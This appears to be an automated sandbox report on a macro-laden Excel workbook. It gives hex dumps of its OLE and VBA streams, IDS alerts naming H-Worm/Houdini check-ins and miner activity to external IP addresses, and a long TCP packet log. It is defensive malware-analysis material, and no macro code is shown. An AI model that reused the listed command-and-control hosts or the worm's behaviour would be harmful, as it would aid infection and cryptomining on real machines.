Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 d4 00 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 b5 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 224

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	224
Entropy:	3.730366244582161
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A d m i n i s t r a t o r . . . . . . . . . . . A d m i n i s t r a t o r . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . . . @ . . . . . _ . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 b0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 60 00 00 00 12 00 00 00 78 00 00 00 0c 00 00 00 90 00 00 00 0d 00 00 00 9c 00 00 00 13 00 00 00 a8 00 00 00 02 00 00 00 a8 03 00 00 1e 00 00 00 10 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 15765

General
Stream Path:	Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	15765
Entropy:	5.18608657457654
Base64 Encoded:	True
Data ASCII:	. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . \\ . p . . . . A d m i n i s t r a t o r B . . . . a . . . . . . . . = . . . . . . . . . . . . . . . . . . T h i s W o r k b o o k . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . p / 8 . . . . . . . X . @ . . . . . . . . . . " . .
Data Raw:	09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 0d 00 00 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 586

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	586
Entropy:	5.152238069945452
Base64 Encoded:	True
Data ASCII:	I D = " { 0 0 0 0 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 0 0 0 0 0 0 0 0 } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . H e l p F i l e = " " . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " E 8 E A
Data Raw:	49 44 3d 22 7b 30 30 30 30 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 30 30 30 30 30 30 30 30 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
CLSID:
File Type:	data
Stream Size:	104
Entropy:	3.0488640812019017
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 3757

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	3757
Entropy:	4.761657597639159
Base64 Encoded:	False
Data ASCII:	a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 . . . D .
Data Raw:	cc 61 b5 00 00 03 00 ff 04 08 00 00 09 04 00 00 a8 03 03 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_0, File Type: data, Stream Size: 1760

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_0
CLSID:
File Type:	data
Stream Size:	1760
Entropy:	3.4696758752703287
Base64 Encoded:	False
Data ASCII:	K * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . r U . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ Z . . . . . . . . . . . . . . . " . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x o B L G o . . . t . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 . .
Data Raw:	93 4b 2a b5 03 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 00 00 00 00 00 00 01 00 02 00 00 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 00 00 72 55 c0 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 06 00 00 00 00 00 00 7e 0a 00 00 00 00 00 00 7e 02 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_1, File Type: data, Stream Size: 301

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_1
CLSID:
File Type:	data
Stream Size:	301
Entropy:	2.283219928034001
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . q . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D M . . . . . . . . . . . . . . . . V B S . . . . . . . . . . . . . . . . o b j C o n n . . . . . . . . . . . . . . . . t x t . . . . . . . . . . . . . . . . c o n s u m e r L . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 02 00 00 00 00 00 00 7e 7a 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 12 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_2, File Type: data, Stream Size: 931

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_2
CLSID:
File Type:	data
Stream Size:	931
Entropy:	1.9004004944547905
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A . . . . . . . . . . . . . . . . . . . . . . . . 7 . ` . . . q . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ` i . . . . . . . . . . . . . . . 1 . . . . . . . . . . . q . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	72 55 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 00 00 01 00 d1 03 00 00 00 00 00 00 00 00 00 00 11 08 00 00 00 00 00 00 00 00 00 00 41 08

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_3, File Type: data, Stream Size: 346

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_3
CLSID:
File Type:	data
Stream Size:	346
Entropy:	2.2385908335543445
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . 8 . . . . . . . . . . . . . . . ` . . . 8 . . . . . . . . . . . X . ! . . . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O . O . O . ` . . . . . . . . . . . . . . . . ` . . . . . . . 1 . . . . . . . . . . . Q . . . . . . . . . . . q . . . . . . . . . . . . . . . . . O . O . O . O . . . . . . . b . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 02 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 78 00 00 00 08 00 38 00 e1 01 00 00 00 00 00 00 00 00 02 00 00 00 03 60 00 00 e8 08 38 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 552

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
CLSID:
File Type:	data
Stream Size:	552
Entropy:	6.351706899448636
Base64 Encoded:	True
Data ASCII:	. $ . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . . g . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s t e m 3 2 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2 E
Data Raw:	01 24 b2 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 a8 03 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 b4 89 1d 67 01 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-09T06:49:05.242024+0100	2017994	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA	1	192.168.2.11	50017	181.214.58.112	80	TCP
2024-12-09T06:49:05.242024+0100	2017994	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA	1	192.168.2.11	49992	181.214.58.112	80	TCP
2024-12-09T06:49:41.194811+0100	2017994	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA	1	192.168.2.11	49744	23.111.175.138	80	TCP
2024-12-09T06:49:41.194811+0100	2837599	ETPRO MALWARE Win32/Dunihi/Houdini/H-Worm Miner Activity	1	192.168.2.11	49744	23.111.175.138	80	TCP
2024-12-09T06:49:50.259229+0100	2017994	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA	1	192.168.2.11	49756	23.111.175.138	80	TCP
2024-12-09T06:49:50.259229+0100	2837599	ETPRO MALWARE Win32/Dunihi/Houdini/H-Worm Miner Activity	1	192.168.2.11	49756	23.111.175.138	80	TCP
2024-12-09T06:50:03.962785+0100	2017994	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA	1	192.168.2.11	49793	181.214.58.112	80	TCP
2024-12-09T06:50:12.592823+0100	2017994	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA	1	192.168.2.11	49814	181.214.58.112	80	TCP
2024-12-09T06:50:18.592780+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49879	13.107.246.63	443	TCP
2024-12-09T06:50:27.853714+0100	2017994	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA	1	192.168.2.11	49852	181.214.58.112	80	TCP
2024-12-09T06:50:28.186302+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.11	49900	13.107.246.63	443	TCP
2024-12-09T06:50:30.535751+0100	2017994	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA	1	192.168.2.11	49744	23.111.175.138	80	TCP
2024-12-09T06:50:30.535751+0100	2837599	ETPRO MALWARE Win32/Dunihi/Houdini/H-Worm Miner Activity	1	192.168.2.11	49744	23.111.175.138	80	TCP
2024-12-09T06:50:34.935668+0100	2017994	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA	1	192.168.2.11	49922	1.1.1.1	80	TCP
2024-12-09T06:50:35.981687+0100	2017994	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA	1	192.168.2.11	49872	181.214.58.112	80	TCP
2024-12-09T06:50:36.395993+0100	2017994	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA	1	192.168.2.11	49922	1.1.1.1	80	TCP
2024-12-09T06:50:37.865605+0100	2017994	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA	1	192.168.2.11	49922	1.1.1.1	80	TCP
2024-12-09T06:50:45.686975+0100	2017994	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA	1	192.168.2.11	49930	23.111.175.138	80	TCP
2024-12-09T06:50:45.686975+0100	2837599	ETPRO MALWARE Win32/Dunihi/Houdini/H-Worm Miner Activity	1	192.168.2.11	49930	23.111.175.138	80	TCP
2024-12-09T06:50:49.614374+0100	2017994	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA	1	192.168.2.11	49959	1.1.1.1	80	TCP
2024-12-09T06:50:51.035714+0100	2017994	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA	1	192.168.2.11	49959	1.1.1.1	80	TCP
2024-12-09T06:50:52.440023+0100	2017994	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA	1	192.168.2.11	49959	1.1.1.1	80	TCP
2024-12-09T06:51:00.089356+0100	2017994	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA	1	192.168.2.11	49935	181.214.58.112	80	TCP
2024-12-09T06:51:14.825158+0100	2017994	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA	1	192.168.2.11	49971	181.214.58.112	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 06:49:12.193979979 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:12.194039106 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:12.194189072 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:12.197711945 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:12.197746038 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:13.931076050 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:13.931302071 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:13.936856985 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:13.936877012 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:13.937189102 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:13.950351954 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:13.991328001 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.431067944 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.431096077 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.431111097 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.431660891 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.431694984 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.431996107 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.610491991 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.610522032 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.610594034 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.610635996 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.610656977 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.610770941 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.667258024 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.667288065 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.667401075 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.667401075 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.667443991 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.667550087 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.785873890 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.785902977 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.786084890 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.786084890 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.786113024 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.786175966 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.817524910 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.817564011 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.817610025 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.817645073 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.817663908 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.817751884 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.839196920 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.839231014 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.839344025 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.839344025 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.839389086 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.839538097 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.857342005 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.857368946 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.857429981 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.857498884 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.857512951 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.857578039 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.967653990 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.967686892 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.967750072 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.967793941 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.967818975 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.967909098 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.984792948 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.984829903 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.984992981 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.985028028 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.985141993 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:14.999949932 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:14.999984980 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.000029087 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.000061989 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.000077009 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.000103951 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.014919996 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.014941931 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.015022039 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.015044928 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.015079975 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.028917074 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.028944016 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.029038906 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.029058933 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.029105902 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.041870117 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.041898012 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.041939974 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.041963100 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.041989088 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.042005062 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.048266888 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.048347950 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.048352003 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.048393965 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.051172018 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.051198959 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.051209927 CET	49707	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.051214933 CET	443	49707	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.711154938 CET	49715	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.711201906 CET	443	49715	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.711293936 CET	49715	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.711400986 CET	49715	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.711420059 CET	443	49715	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.714310884 CET	49716	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.714366913 CET	443	49716	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.714437008 CET	49716	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.714571953 CET	49716	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.714589119 CET	443	49716	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.721796989 CET	49717	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.721827030 CET	443	49717	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.721878052 CET	49717	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.725703955 CET	49718	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.725723982 CET	443	49718	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.725780964 CET	49718	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.725904942 CET	49718	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.725914955 CET	443	49718	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.727291107 CET	49717	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.727304935 CET	443	49717	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.729620934 CET	49719	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.729630947 CET	443	49719	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:15.729705095 CET	49719	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.729938030 CET	49719	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:15.729950905 CET	443	49719	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.443067074 CET	443	49715	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.443766117 CET	443	49716	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.444430113 CET	49716	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.444458961 CET	443	49716	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.444880009 CET	49716	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.444884062 CET	443	49716	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.445626974 CET	49715	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.445642948 CET	443	49715	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.446171045 CET	49715	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.446177959 CET	443	49715	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.455497980 CET	443	49718	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.455651045 CET	443	49717	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.456228971 CET	49717	443	192.168.2.11	13.107.246.63
